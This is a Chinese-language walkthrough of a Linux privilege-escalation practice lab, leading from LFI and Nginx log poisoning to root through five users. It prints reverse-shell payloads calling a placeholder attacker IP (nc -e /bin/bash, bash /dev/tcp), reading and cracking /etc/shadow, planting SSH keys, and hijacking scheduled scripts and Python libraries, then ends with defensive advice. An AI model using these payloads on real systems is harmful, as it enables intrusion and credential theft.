记一次渗透后运用多种方式提权实战
字数 1277 2025-08-15 21:33:52

Linux提权实战:从基础到高级技巧全面解析

一、靶场环境概述

本靶场是一个精心设计的Linux提权练习环境,特点包括:

  • 需要依次通过5个用户逐步提权
  • 涉及多种提权技术:密码破解、程序逆向、第三方应用提权、进程提权等
  • 考察Linux系统基础知识全面
  • 逻辑严谨,无"脑洞"式障碍

二、初始信息收集

1. 主机发现

arp-scan -l

2. 端口扫描

nmap -sV -sC <靶机IP>

典型发现:

  • 22端口(SSH)
  • 80端口(Web服务,Nginx)

三、Web渗透获取初始Shell

1. 发现文件包含漏洞

通过Web界面发现本地文件包含(LFI)漏洞

2. 通过Nginx日志Getshell

两种日志利用方式:

a) 访问日志

curl -A "<?=system('nc -nv <攻击机IP> 8888 -e /bin/bash');?>" http://<靶机IP>/index.php

b) 错误日志

同样方式注入PHP代码

3. 触发反弹Shell

通过文件包含漏洞包含日志文件触发代码执行:

http://<靶机IP>/index.php?page=/var/log/nginx/access.log

四、初始提权准备

1. 检查SUID权限

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

2. 检查sudo权限

sudo -l

3. 使用辅助脚本

a) linux-exploit-suggester.sh

检查内核漏洞提权可能性

b) linpeas.sh

全面系统信息收集

五、密码破解提权

1. 获取shadow文件

cat /etc/shadow

2. 使用John破解

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

六、程序逆向分析提权

1. 发现SUID程序

find / -perm -4000 -user <高权限用户> 2>/dev/null

2. 逆向分析工具

a) IDA Pro

静态分析二进制程序

b) GDB

动态调试程序

gdb <程序名>

3. 内存提取密码

通过调试在内存中发现硬编码凭证

七、Nano编辑器提权

1. 检查sudo权限

sudo -u <用户> /bin/nano

2. Nano命令执行

在nano界面中:

  1. 按Ctrl+R
  2. 按Ctrl+X
  3. 输入要执行的命令

3. 升级Shell

echo "bash -i >& /dev/tcp/<攻击机IP>/6666 0>&1" | bash

4. SSH免密登录

# 攻击机生成密钥
ssh-keygen -f id_rsa -P ""

# 靶机配置
mkdir -p /home/<用户>/.ssh
echo "<公钥内容>" >> /home/<用户>/.ssh/authorized_keys
chmod 600 /home/<用户>/.ssh/authorized_keys

八、进程监控提权

1. 使用pspy监控进程

./pspy64

2. 发现定期执行脚本

观察到的关键信息:

  • 执行用户UID
  • 脚本路径
  • 依赖关系

3. Linux ACL权限利用

getfacl <文件>

利用可写权限修改脚本或依赖文件

4. 具体攻击方式

a) 替换被调用脚本

修改程序会调用的次级脚本

b) 修改Python库

find / -name "*.py" -user <目标用户> 2>/dev/null

查找并修改可写的Python库文件

九、终极提权技巧

1. 发现加密程序

通过逆向分析发现:

  • 加密算法:简单的ASCII码位移(+5)
  • 可编写对应解密程序

2. 动态调试修改

使用GDB:

  1. 在文件打开函数处下断点
  2. 修改参数指向敏感文件(如/etc/shadow)
  3. 获取root密码

3. 直接切换用户

su root

十、技术总结

1. 提权路径

www-data → user1 → user2 → user3 → user4 → root

2. 涉及技术点

  1. Web漏洞利用(LFI)
  2. 日志注入Getshell
  3. 密码破解
  4. 二进制逆向分析
  5. SUID/SGID利用
  6. Sudo权限滥用
  7. 进程监控与劫持
  8. ACL权限利用
  9. 动态调试技术
  10. 加密算法逆向

3. 防御建议

  • 定期更新系统和软件
  • 最小权限原则
  • 避免硬编码凭证
  • 监控敏感文件修改
  • 限制SUID/SGID程序
  • 谨慎配置sudo权限
  • 检查ACL设置

本靶场全面覆盖了Linux系统提权的常见技术路径,是提升渗透测试能力的优秀练习环境。建议在合法授权环境下进行类似练习,以深入理解系统安全机制。

Linux提权实战:从基础到高级技巧全面解析 一、靶场环境概述 本靶场是一个精心设计的Linux提权练习环境,特点包括: 需要依次通过5个用户逐步提权 涉及多种提权技术:密码破解、程序逆向、第三方应用提权、进程提权等 考察Linux系统基础知识全面 逻辑严谨,无"脑洞"式障碍 二、初始信息收集 1. 主机发现 2. 端口扫描 典型发现: 22端口(SSH) 80端口(Web服务,Nginx) 三、Web渗透获取初始Shell 1. 发现文件包含漏洞 通过Web界面发现本地文件包含(LFI)漏洞 2. 通过Nginx日志Getshell 两种日志利用方式: a) 访问日志 b) 错误日志 同样方式注入PHP代码 3. 触发反弹Shell 通过文件包含漏洞包含日志文件触发代码执行: 四、初始提权准备 1. 检查SUID权限 2. 检查sudo权限 3. 使用辅助脚本 a) linux-exploit-suggester.sh 检查内核漏洞提权可能性 b) linpeas.sh 全面系统信息收集 五、密码破解提权 1. 获取shadow文件 2. 使用John破解 六、程序逆向分析提权 1. 发现SUID程序 2. 逆向分析工具 a) IDA Pro 静态分析二进制程序 b) GDB 动态调试程序 3. 内存提取密码 通过调试在内存中发现硬编码凭证 七、Nano编辑器提权 1. 检查sudo权限 2. Nano命令执行 在nano界面中: 按Ctrl+R 按Ctrl+X 输入要执行的命令 3. 升级Shell 4. SSH免密登录 八、进程监控提权 1. 使用pspy监控进程 2. 发现定期执行脚本 观察到的关键信息: 执行用户UID 脚本路径 依赖关系 3. Linux ACL权限利用 利用可写权限修改脚本或依赖文件 4. 具体攻击方式 a) 替换被调用脚本 修改程序会调用的次级脚本 b) 修改Python库 查找并修改可写的Python库文件 九、终极提权技巧 1. 发现加密程序 通过逆向分析发现: 加密算法:简单的ASCII码位移(+5) 可编写对应解密程序 2. 动态调试修改 使用GDB: 在文件打开函数处下断点 修改参数指向敏感文件(如/etc/shadow) 获取root密码 3. 直接切换用户 十、技术总结 1. 提权路径 www-data → user1 → user2 → user3 → user4 → root 2. 涉及技术点 Web漏洞利用(LFI) 日志注入Getshell 密码破解 二进制逆向分析 SUID/SGID利用 Sudo权限滥用 进程监控与劫持 ACL权限利用 动态调试技术 加密算法逆向 3. 防御建议 定期更新系统和软件 最小权限原则 避免硬编码凭证 监控敏感文件修改 限制SUID/SGID程序 谨慎配置sudo权限 检查ACL设置 本靶场全面覆盖了Linux系统提权的常见技术路径,是提升渗透测试能力的优秀练习环境。建议在合法授权环境下进行类似练习,以深入理解系统安全机制。